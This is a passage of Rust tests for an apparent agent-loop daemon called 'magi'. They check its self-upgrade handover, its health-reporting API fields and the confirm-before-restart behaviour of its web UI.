21832        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
21833        // and the route answers from its own logic.
21834        //
21835        // This test used to lean on the fixture's placeholder repo failing
21836        // config discovery, which left `mode = "notify"` - and a live,
21837        // unauthenticated call to the GitHub releases API inside a unit test.
21838        // GitHub allows 60 of those an hour per address, so the suite went red
21839        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
21840        // long as somebody kept re-running it: every attempt spent another
21841        // request. Six reruns across four pull requests were charged to that
21842        // before it was read as a rate limit rather than a flake.
21843        //
21844        // What the assertion is about is the "already current" branch, which
21845        // is reached by there being no newer release *or* nowhere to look. The
21846        // second one needs no network and cannot be rate limited.
21847        let repo = TempDir::new().expect("repo dir");
21848        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21849            .expect("write magi.toml");
21850        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21851
21852        // It must answer 200 and leave the process alone: restarting for an
21853        // upgrade that did not happen parks the run in flight and drops every
21854        // connection to pay for nothing. A probe against a deck already on the
21855        // newest build did exactly that, which is how this case got its own
21856        // branch.
21857        let res = fx.post("/api/upgrade", None).await;
21858        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21859        let body = res.json();
21860        assert!(body["to"].is_null(), "there was no release to move to");
21861        assert!(body["parked"].is_null(), "and nothing was parked");
21862        assert!(
21863            body["detail"]
21864                .as_str()
21865                .unwrap()
21866                .contains("nothing restarted"),
21867            "{body:?}"
21868        );
21869    }
21870
21871    #[tokio::test]
21872    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21873        // `mode = "off"` for the same reason as the test above: a default
21874        // fixture repo falls back to `mode = "notify"`, which would make this
21875        // route's new `update` field a live, unauthenticated GitHub call on
21876        // every assertion in this suite that happens to hit `/api/health`.
21877        let repo = TempDir::new().expect("repo dir");
21878        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21879            .expect("write magi.toml");
21880        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21881
21882        let health = fx.get("/api/health").await.json();
21883        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21884        assert_eq!(
21885            health["update"]["available"], false,
21886            "checking is off, which reads as \"unknown\", not \"none\""
21887        );
21888        assert!(health["update"]["to"].is_null());
21889        assert!(
21890            health["upgrade"].is_null(),
21891            "nothing has ever asked this deck to upgrade"
21892        );
21893    }
21894
21895    #[tokio::test]
21896    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21897        let fx = Fixture::start().await;
21898        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21899
21900        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21901        progress.parked_run = Some("20260905-000000-cd51".to_owned());
21902        progress.advance(crate::updater::Stage::Parking);
21903        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21904
21905        let health = fx.get("/api/health").await.json();
21906        assert_eq!(health["upgrade"]["stage"], "parking");
21907        assert_eq!(health["upgrade"]["from"], "0.5.1");
21908        assert_eq!(health["upgrade"]["to"], "0.5.2");
21909        let waiting_on = health["upgrade"]["waiting_on"]
21910            .as_str()
21911            .expect("waiting_on is set while parking a known run");
21912        assert!(waiting_on.contains("cd51"), "{waiting_on}");
21913        assert!(waiting_on.contains("implementing"), "{waiting_on}");
21914    }
21915
21916    #[tokio::test]
21917    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21918        let fx = Fixture::start().await;
21919        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21920        progress.advance(crate::updater::Stage::Done);
21921        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21922
21923        let health = fx.get("/api/health").await.json();
21924        assert_eq!(health["upgrade"]["stage"], "done");
21925        assert!(
21926            health["upgrade"]["waiting_on"].is_null(),
21927            "nothing to wait on once it is done"
21928        );
21929    }
21930
21931    #[tokio::test]
21932    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21933        let home = TempDir::new().expect("temp home");
21934        let runs = home.path().join("runs");
21935        std::fs::create_dir_all(&runs).expect("runs dir");
21936        let ui = Ui::new(
21937            Queue::at(home.path().join("queue")),
21938            Questions::at(home.path().join("questions")),
21939            Talks::at(home.path().join("talks")),
21940            runs,
21941            home.path().to_path_buf(),
21942            PathBuf::from("/repo/magi"),
21943        )
21944        .with_launch(launch_idle);
21945        let looping = ui.looping();
21946        let turns = ui.turns();
21947        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21948            .await
21949            .expect("bind loopback");
21950        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21951
21952        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21953        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21954
21955        hand_over(
21956            home.path(),
21957            &looping,
21958            &turns,
21959            &|_: &[String]| Duration::from_secs(5),
21960            served,
21961            |_| Ok(1),
21962        )
21963        .await
21964        .expect("hand over");
21965
21966        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21967        assert_eq!(
21968            after.stage,
21969            crate::updater::Stage::Restarting,
21970            "hand_over owns the record through parking and up to restarting; \
21971             the successor is what finishes it"
21972        );
21973    }
21974
21975    /// The successor is started exactly once on success, and exactly once on
21976    /// failure too (a failed start is reported, never retried).
21977    #[tokio::test]
21978    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21979        for fail in [false, true] {
21980            let home = TempDir::new().expect("temp home");
21981            let ui = idle_ui(&home);
21982            let looping = ui.looping();
21983            let turns = ui.turns();
21984            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21985                .await
21986                .expect("bind loopback");
21987            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21988            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21989            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21990
21991            let calls = std::sync::atomic::AtomicUsize::new(0);
21992            let outcome = hand_over(
21993                home.path(),
21994                &looping,
21995                &turns,
21996                &|_: &[String]| Duration::from_secs(5),
21997                served,
21998                |_| {
21999                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22000                    if fail {
22001                        anyhow::bail!("no exec")
22002                    } else {
22003                        Ok(4242)
22004                    }
22005                },
22006            )
22007            .await;
22008            assert_eq!(outcome.is_err(), fail);
22009            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22010
22011            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22012                .expect("upgrade.log is written under the home");
22013            for step in [
22014                "entered",
22015                "finish_loop",
22016                "listener released",
22017                "starting the successor",
22018            ] {
22019                assert!(log.contains(step), "missing `{step}` in:\n{log}");
22020            }
22021            assert!(
22022                log.contains(if fail { "did not start" } else { "pid 4242" }),
22023                "{log}"
22024            );
22025        }
22026    }
22027
22028    /// The handover signal is seen however the race falls, and wakes its one
22029    /// waiter once per signal - nothing here can spin.
22030    #[tokio::test]
22031    async fn the_handover_signal_wakes_one_waiter_once() {
22032        let signal = Notify::new();
22033        // Signalled before anyone waits: the stored permit is not lost.
22034        signal.notify_one();
22035        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22036            .await
22037            .expect("an early signal is still seen");
22038        // One signal, one wake-up: a second wait does not resolve by itself.
22039        assert!(
22040            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22041                .await
22042                .is_err(),
22043            "a consumed signal must not wake a second time"
22044        );
22045        // Signalled while waiting.
22046        let signal = std::sync::Arc::new(signal);
22047        let waiter = tokio::spawn({
22048            let signal = std::sync::Arc::clone(&signal);
22049            async move { wait_for_handover(&signal).await }
22050        });
22051        tokio::time::sleep(Duration::from_millis(20)).await;
22052        assert!(!waiter.is_finished(), "nothing was signalled yet");
22053        signal.notify_one();
22054        tokio::time::timeout(Duration::from_secs(5), waiter)
22055            .await
22056            .expect("a late signal wakes the waiter")
22057            .expect("join");
22058    }
22059
22060    #[tokio::test]
22061    async fn health_says_how_long_a_handover_has_been_stuck() {
22062        let fx = Fixture::start().await;
22063        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22064        progress.advance(crate::updater::Stage::Replaced);
22065        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22066        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22067
22068        let health = fx.get("/api/health").await.json();
22069        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22070        assert!(stuck >= 600, "{stuck}");
22071        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22072        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22073    }
22074
22075    #[tokio::test]
22076    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22077        let home = tempfile::tempdir().expect("temp home");
22078        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22079        progress.advance(crate::updater::Stage::Parking);
22080        crate::updater::write_progress(home.path(), &progress).expect("seed");
22081        // What the second upgrade_and_restart and its handler do.
22082        let mut again = progress.clone();
22083        again.advance(crate::updater::Stage::Replaced);
22084        crate::updater::write_progress(home.path(), &again).expect("replaced");
22085        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22086        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22087        let after = crate::updater::read_progress(home.path()).expect("record");
22088        assert_eq!(after.stage, crate::updater::Stage::Parking);
22089    }
22090
22091    #[tokio::test]
22092    async fn health_does_not_call_a_live_parking_wait_stuck() {
22093        let fx = Fixture::start().await;
22094        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22095        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22096        progress.advance(crate::updater::Stage::Parking);
22097        let hours = Duration::from_secs(3 * 3600);
22098        progress.started_at = Timestamp::now() - hours;
22099        progress.updated_at = Timestamp::now() - hours;
22100        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22101        let _lease = crate::updater::LeaseGuard::enter(
22102            fx.home.path(),
22103            Some("20260905-000000-cd51".to_owned()),
22104        );
22105
22106        let health = fx.get("/api/health").await.json();
22107        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22108        assert!(health["upgrade"]["stuck_kind"].is_null());
22109        assert_eq!(health["upgrade"]["handover_alive"], true);
22110        let waiting_on = health["upgrade"]["waiting_on"]
22111            .as_str()
22112            .expect("waiting_on");
22113        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22114    }
22115
22116    fn idle_ui(home: &TempDir) -> Ui {
22117        let runs = home.path().join("runs");
22118        std::fs::create_dir_all(&runs).expect("runs dir");
22119        Ui::new(
22120            Queue::at(home.path().join("queue")),
22121            Questions::at(home.path().join("questions")),
22122            Talks::at(home.path().join("talks")),
22123            runs,
22124            home.path().to_path_buf(),
22125            PathBuf::from("/repo/magi"),
22126        )
22127        .with_launch(launch_idle)
22128    }
22129
22130    async fn park_fixture(
22131        home: &TempDir,
22132    ) -> (
22133        Ui,
22134        Arc<Mutex<LoopState>>,
22135        Arc<Mutex<TalkTurns>>,
22136        tokio::task::JoinHandle<std::io::Result<()>>,
22137    ) {
22138        let ui = idle_ui(home);
22139        let looping = ui.looping();
22140        let turns = ui.turns();
22141        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22142            .await
22143            .expect("bind loopback");
22144        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22145        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22146        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22147        (ui, looping, turns, served)
22148    }
22149
22150    /// The hand-over does not release the address while a chat turn is in
22151    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
22152    /// started once the turn ends.
22153    #[tokio::test]
22154    async fn hand_over_waits_for_a_running_chat_turn() {
22155        let home = TempDir::new().expect("temp home");
22156        let (ui, looping, turns, served) = park_fixture(&home).await;
22157        let ui = Arc::new(ui);
22158        let id = "20260901-000000-chat";
22159        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22160
22161        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22162        let handover = tokio::spawn({
22163            let home = home.path().to_path_buf();
22164            let turns = Arc::clone(&turns);
22165            let calls = Arc::clone(&calls);
22166            async move {
22167                hand_over(
22168                    &home,
22169                    &looping,
22170                    &turns,
22171                    &|_: &[String]| Duration::from_secs(60),
22172                    served,
22173                    move |_| {
22174                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22175                        Ok(1)
22176                    },
22177                )
22178                .await
22179            }
22180        });
22181
22182        let waiting = async {
22183            for _ in 0..200 {
22184                if crate::updater::read_progress(home.path())
22185                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
22186                {
22187                    return;
22188                }
22189                tokio::time::sleep(Duration::from_millis(25)).await;
22190            }
22191            panic!("the park never named the chat turn");
22192        };
22193        waiting.await;
22194        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22195
22196        // A new turn is refused, a queued claim and a direct `/say` see a busy
22197        // slot, and nothing new is live.
22198        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22199        assert!(
22200            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22201            "a direct start says an upgrade is in progress"
22202        );
22203        assert!(
22204            ui.begin_queued_talk_turn("20260901-000000-late")
22205                .expect("queued claim")
22206                .is_none()
22207        );
22208        assert!(matches!(
22209            ui.begin_talk_turn_unless_pending("20260901-000000-late")
22210                .expect("start"),
22211            TalkTurnStart::Busy
22212        ));
22213        assert_eq!(turns.lock().unwrap().live.len(), 1);
22214
22215        // The health text names the turn.
22216        let progress = crate::updater::read_progress(home.path()).expect("progress");
22217        let view = upgrade_progress_view(&ui, progress);
22218        assert!(
22219            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22220            "{:?}",
22221            view.waiting_on
22222        );
22223
22224        assert!(!handover.is_finished());
22225        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22226        drop(turn);
22227        handover.await.expect("join").expect("hand over");
22228        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22229        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22230    }
22231
22232    /// Chat stays open while the loop is still parking, and closes only once
22233    /// the loop is done; a turn started during the park is waited for.
22234    #[tokio::test]
22235    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22236        let home = TempDir::new().expect("temp home");
22237        let (ui, looping, turns, served) = park_fixture(&home).await;
22238        let ui = Arc::new(ui);
22239        // A loop that ends only when told to.
22240        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22241        lock_or_recover(&looping).live = Some(Live {
22242            stop: daemon::Stop::new(),
22243            handle: tokio::spawn(async move {
22244                let _ = loop_ended.await;
22245            }),
22246            opts: daemon::Opts::default(),
22247        });
22248
22249        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22250        let handover = tokio::spawn({
22251            let home = home.path().to_path_buf();
22252            let turns = Arc::clone(&turns);
22253            let calls = Arc::clone(&calls);
22254            async move {
22255                hand_over(
22256                    &home,
22257                    &looping,
22258                    &turns,
22259                    &|_: &[String]| Duration::from_secs(60),
22260                    served,
22261                    move |_| {
22262                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22263                        Ok(1)
22264                    },
22265                )
22266                .await
22267            }
22268        });
22269
22270        let reached = async {
22271            for _ in 0..200 {
22272                if crate::updater::read_progress(home.path())
22273                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22274                {
22275                    return;
22276                }
22277                tokio::time::sleep(Duration::from_millis(25)).await;
22278            }
22279            panic!("the hand-over never reached parking");
22280        };
22281        reached.await;
22282
22283        // The loop is still parking: a chat turn starts.
22284        assert!(!turns.lock().unwrap().parking);
22285        let turn = ui
22286            .begin_talk_turn("20260901-000000-chat")
22287            .expect("claim")
22288            .expect("a turn can start while the loop parks");
22289
22290        // The loop ends; the slot closes while the first turn is still held.
22291        end_loop.send(()).expect("loop still waiting");
22292        for _ in 0..200 {
22293            if turns.lock().unwrap().parking {
22294                break;
22295            }
22296            tokio::time::sleep(Duration::from_millis(25)).await;
22297        }
22298        assert!(
22299            turns.lock().unwrap().parking,
22300            "closed once the loop is done"
22301        );
22302        let refused = ui.begin_talk_turn("20260901-000000-late").err();
22303        assert!(
22304            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22305            "no turn starts once the loop is done"
22306        );
22307        assert!(
22308            ui.begin_queued_talk_turn("20260901-000000-late")
22309                .expect("queued claim")
22310                .is_none()
22311        );
22312        assert!(!handover.is_finished());
22313        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22314
22315        drop(turn);
22316        handover.await.expect("join").expect("hand over");
22317        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22318        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22319    }
22320
22321    /// A turn that never ends cannot block the upgrade: past the bound the
22322    /// hand-over proceeds and records which talk it gave up on.
22323    #[tokio::test]
22324    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22325        let home = TempDir::new().expect("temp home");
22326        let (ui, looping, turns, served) = park_fixture(&home).await;
22327        let id = "20260901-000000-stuk";
22328        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22329
22330        let calls = std::sync::atomic::AtomicUsize::new(0);
22331        hand_over(
22332            home.path(),
22333            &looping,
22334            &turns,
22335            &|_: &[String]| Duration::from_millis(300),
22336            served,
22337            |_| {
22338                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22339                Ok(1)
22340            },
22341        )
22342        .await
22343        .expect("hand over");
22344        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22345
22346        let progress = crate::updater::read_progress(home.path()).expect("progress");
22347        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22348        assert!(
22349            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22350            "{:?}",
22351            progress.detail
22352        );
22353        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22354        assert!(
22355            log.contains("handing over anyway") && log.contains(id),
22356            "{log}"
22357        );
22358    }
22359
22360    /// A drain that finds the upgrade parking leaves the queued draft alone
22361    /// and gives the slot up, instead of starting another turn.
22362    #[tokio::test]
22363    async fn drain_loop_starts_no_turn_while_parking() {
22364        let tmp = TempDir::new().expect("tempdir");
22365        let repo = tmp.path().join("repo");
22366        std::fs::create_dir_all(&repo).expect("repo dir");
22367        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22368        let home = TempDir::new().expect("temp home");
22369        let talks = Talks::at(home.path().join("talks"));
22370        let ui = Ui::new(
22371            Queue::at(home.path().join("queue")),
22372            Questions::at(home.path().join("questions")),
22373            talks.clone(),
22374            home.path().join("runs"),
22375            home.path().to_path_buf(),
22376            repo.clone(),
22377        )
22378        .with_worktrees_root(home.path().join("wt"));
22379        let cfg = config_for(&repo).await.expect("discover config");
22380        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22381        let id = talk.id.clone();
22382        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22383        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22384        let turns = ui.turns();
22385        let parking = ParkingTurns::begin(&turns);
22386
22387        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22388
22389        assert!(
22390            turns.lock().unwrap().live.is_empty(),
22391            "the slot is given up"
22392        );
22393        let fresh = talks.get(&id).expect("talk");
22394        assert_eq!(fresh.pending, "later", "the draft is still queued");
22395        assert!(fresh.turns.is_empty(), "no turn ran");
22396        drop(parking);
22397    }
22398
22399    /// Run `hand_over` against `ui` and return what the successor was told.
22400    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22401        let looping = ui.looping();
22402        let turns = ui.turns();
22403        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22404            .await
22405            .expect("bind loopback");
22406        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22407        let told = std::sync::Mutex::new(None);
22408        hand_over(
22409            home.path(),
22410            &looping,
22411            &turns,
22412            &|_: &[String]| Duration::from_secs(5),
22413            served,
22414            |resume| {
22415                *told.lock().unwrap() = Some(resume);
22416                Ok(1)
22417            },
22418        )
22419        .await
22420        .expect("hand over");
22421        told.into_inner().unwrap().expect("successor was started")
22422    }
22423
22424    #[tokio::test]
22425    async fn a_running_loop_is_resumed_by_the_successor() {
22426        let home = TempDir::new().expect("temp home");
22427        let ui = idle_ui(&home);
22428        ui.start_loop(None).expect("start");
22429        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22430        // The idle loop sees the park and ends before the handover fires.
22431        for _ in 0..500 {
22432            if !ui.loop_view(None).running {
22433                break;
22434            }
22435            tokio::time::sleep(Duration::from_millis(2)).await;
22436        }
22437        assert!(handed_over(&home, ui).await, "a running loop must resume");
22438
22439        let successor = idle_ui(&home);
22440        assert!(!successor.loop_view(None).running);
22441        assert!(successor.resume_after_handover(true));
22442        assert!(successor.loop_view(None).running);
22443        successor.stop_loop(None, false).expect("stop");
22444    }
22445
22446    #[tokio::test]
22447    async fn a_second_upgrade_request_keeps_the_resume_intent() {
22448        let home = TempDir::new().expect("temp home");
22449        let ui = idle_ui(&home);
22450        ui.start_loop(None).expect("start");
22451        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22452            .expect("first park");
22453        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22454            .expect("second park");
22455        assert!(handed_over(&home, ui).await);
22456    }
22457
22458    #[tokio::test]
22459    async fn a_stop_during_the_handover_wait_is_honoured() {
22460        let home = TempDir::new().expect("temp home");
22461        let ui = idle_ui(&home);
22462        ui.start_loop(None).expect("start");
22463        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22464        ui.stop_loop(None, false).expect("stop");
22465        assert!(!handed_over(&home, ui).await);
22466    }
22467
22468    #[tokio::test]
22469    async fn an_idle_loop_stays_stopped_across_the_handover() {
22470        let home = TempDir::new().expect("temp home");
22471        let ui = idle_ui(&home);
22472        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22473        assert!(!handed_over(&home, ui).await);
22474
22475        let successor = idle_ui(&home);
22476        assert!(!successor.resume_after_handover(false));
22477        assert!(!successor.loop_view(None).running);
22478    }
22479
22480    #[tokio::test]
22481    async fn a_loop_the_operator_stopped_is_not_resumed() {
22482        let home = TempDir::new().expect("temp home");
22483        let ui = idle_ui(&home);
22484        ui.start_loop(None).expect("start");
22485        ui.stop_loop(None, false).expect("stop");
22486        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22487        assert!(!handed_over(&home, ui).await);
22488    }
22489
22490    #[test]
22491    fn only_an_explicit_one_requests_a_resume() {
22492        assert!(!resume_requested(None));
22493        assert!(!resume_requested(Some("0".into())));
22494        assert!(!resume_requested(Some("".into())));
22495        assert!(resume_requested(Some("1".into())));
22496    }
22497
22498    #[test]
22499    fn the_upgrade_button_arms_before_it_restarts_anything() {
22500        // It ends the process the operator is talking to, and a phone in a
22501        // pocket taps things. One tap arms, the second commits.
22502        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22503        assert!(APP_JS.contains("Replace the binary and restart?"));
22504        assert!(APP_JS.contains("function confirmed("));
22505        // Hidden when the loop is somebody else's, matching the 409 above -
22506        // and hidden with nothing to install, matching the 200 "already
22507        // current" branch: an operator on the newest build must not be
22508        // offered a restart that would only park a run for nothing.
22509        assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22510        // A park waits for the node in flight, up to an hour for an implement
22511        // wave. Leaving the button reading "Upgrading…" for that long is the
22512        // same mistake as an error rendered off screen: it looks wedged.
22513        assert!(
22514            APP_JS.contains("Parking, then restarting"),
22515            "the button says what it is waiting for"
22516        );
22517        // And nothing to install must give the button back rather than
22518        // pretending a restart is coming.
22519        assert!(APP_JS.contains("if (!out.to)"));
22520    }
22521
22522    #[test]
22523    fn stopping_the_loop_arms_but_starting_does_not() {
22524        // A stray tap must not leave the queue stopped overnight, so a stop is
22525        // two taps through the same helper the upgrade uses; a start stays one.
22526        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22527        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22528        assert!(APP_JS.contains("confirmed(button, question)"));
22529        // The label put back on timeout is the one saved when arming, not a
22530        // hard-coded upgrade caption that would rename the stop button.
22531        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
22532        assert!(APP_JS.contains("const label = btn.textContent;"));
22533        assert!(!APP_JS.contains("Neither direction is guarded"));
22534    }
22535
22536    #[test]
22537    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22538        assert!(
22539            APP_JS.contains("state.health.version"),
22540            "the operator wants to know what is running even with nothing newer"
22541        );
22542        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22543    }
22544
22545    #[test]
22546    fn the_upgrade_button_names_its_destination() {
22547        assert!(
22548            APP_JS.contains("`Update to ${update.to}`"),
22549            "pressing the button should not be a surprise about what it moves to"
22550        );
22551    }
22552
22553    #[test]
22554    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22555        for stage in ["downloading", "replaced", "parking", "restarting"] {
22556            assert!(
22557                APP_JS.contains(&format!("\"{stage}\"")),
22558                "the phone must be able to tell {stage} apart from the others"
22559            );
22560        }
22561        assert!(APP_JS.contains(".waiting_on"));
22562        // What replaced the bare "Cannot reach magi: Failed to fetch": a
22563        // fetch failing while an upgrade is in flight is not an error, it is
22564        // the sub-second gap `bind_waiting` covers, and it must not be
22565        // reported as one.
22566        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
22567        assert!(APP_JS.contains("reconnects on its own"));
22568    }
22569
22570    #[test]
22571    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
22572        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
22573            ..APP_JS.find("function upgrade(").expect("upgrade")];
22574        assert!(!body.contains(
22575            "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
22576        ));
22577        assert!(body.contains("renderUpgradeError();"));
22578        assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
22579    }
22580
22581    #[test]
22582    fn an_overdue_upgrade_eventually_asks_for_a_human() {
22583        // The ceiling has to clear a full hour-long park with room to spare,
22584        // or an ordinary implement wave would be reported as a stuck upgrade.
22585        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
22586        assert!(APP_JS.contains("function upgradeOverdue("));
22587    }
22588
22589    #[test]
22590    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
22591        assert!(
22592            APP_JS.contains("Updated to ${upgradeInfo.to"),
22593            "the operator who asked for the restart wants to know it worked"
22594        );
22595    }
22596
22597    #[test]
22598    fn an_error_is_visible_from_where_the_button_is() {
22599        // The alert used to sit in the flow under the header. On a phone
22600        // scrolled 13 500 px down to a run's action sheet that is off screen,
22601        // so tapping Resume and being told "the loop is running run b455
22602        // right now" looked exactly like a button that did nothing.
22603        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22604            ..APP_CSS.find(".alert-text").expect(".alert-text")];
22605        assert!(
22606            alert.contains("position: fixed"),
22607            "an error about the thing under your thumb has to be visible from \
22608             where your thumb is: {alert}"
22609        );
22610        assert!(
22611            alert.contains("z-index: 25"),
22612            "above the dock (20) and the run-actions FAB (15), so neither \
22613             buries it: {alert}"
22614        );
22615        assert!(
22616            alert.contains("var(--tap)"),
22617            "and clear of the dock and the home indicator: {alert}"
22618        );
22619        // The FAB sits at the same height on the right. An error that covered
22620        // it would hide the button the operator reaches for next.
22621        assert!(
22622            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22623            "the FAB's column stays free: {alert}"
22624        );
22625    }
22626
22627    #[tokio::test]
22628    async fn an_older_attempt_says_what_replaced_it() {
22629        let fx = Fixture::start().await;
22630        let q = fx.queue();
22631        let runs = fx.runs();
22632        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22633        write_run(&runs, first, RunStatus::Stalled);
22634        write_run(&runs, second, RunStatus::Blocked);
22635
22636        let mut t = Task::new(
22637            "one task".to_owned(),
22638            "do it".to_owned(),
22639            PathBuf::from("/repo"),
22640            Source::Human,
22641        );
22642        t.runs = vec![first.to_owned(), second.to_owned()];
22643        q.put(&mut t).expect("put");
22644
22645        // Two cards with the same title and no hint which is which was the
22646        // question: "why are there two of the same, one stalled and one
22647        // blocked?" The older one now names its replacement.
22648        let rows = fx.get("/api/runs").await.json();
22649        let by = |short: &str| -> Value {
22650            rows.as_array()
22651                .unwrap()
22652                .iter()
22653                .find(|r| r["short"] == short)
22654                .cloned()
22655                .unwrap_or(Value::Null)
22656        };
22657        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22658        assert!(
22659            by("bbbb")["superseded_by"].is_null(),
22660            "the latest attempt is not superseded by anything"
22661        );
22662        // Front end: the note has to be rendered, not just carried.
22663        assert!(APP_JS.contains("run.superseded_by"));
22664        assert!(APP_JS.contains("Superseded by"));
22665    }
22666
22667    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22668        let mut t = Task::new(
22669            "one task".to_owned(),
22670            "do it".to_owned(),
22671            PathBuf::from("/repo"),
22672            Source::Human,
22673        );
